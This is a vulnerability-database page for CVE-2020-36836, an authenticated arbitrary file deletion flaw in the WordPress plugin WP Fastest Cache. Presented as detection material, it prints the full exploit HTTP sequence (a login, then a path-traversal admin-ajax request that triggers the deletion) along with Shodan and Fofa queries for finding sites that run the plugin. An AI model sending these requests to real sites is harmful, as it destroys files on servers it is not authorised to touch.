🔙 목록으로 돌아가기

CVE-2020-36836: WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion

TitleWordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion
Authormelmathari
SeverityHigh
ImpactAuthenticated attackers with minimal permissions can delete arbitrary files from the server, potentially breaking the WordPress installation or exposing sensitive data.
RemediationUpdate WP Fastest Cache to version 0.9.0.3 or later to mitigate this vulnerability.
CVSS Score8.1
EPSS Score0.19778
CVE IDCVE-2020-36836
CWE IDCWE-862
Shodan Queryhttp.html:/wp-content/plugins/wp-fastest-cache/
Fofa Querybody=/wp-content/plugins/wp-fastest-cache/
Tags cve cve2020 wordpress wp-plugin wp-fastest-cache auth intrusive wpfastestcache vkev vuln

🔍 Vulnerability Description

The WP Fastest Cache plugin for WordPress is vulnerable to unauthorized arbitrary file deletion in versions up to, and including, 0.9.0.2 due to a lack of capability checking and insufficient path validation. This makes it possible for authenticated users with minimal permissions to delete arbitrary files from the server.

🌐 HTTP Request

GET /wp-content/plugins/wp-fastest-cache/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=KEN5Oy&pwd=RRr5vI&wp-submit=Log+In
POST /wp-admin/admin-ajax.php?path=/../../../wp-content/plugins/wp-fastest-cache/languages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpfc_delete_current_page_cache
GET /wp-content/plugins/wp-fastest-cache/languages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36836.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-36836.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A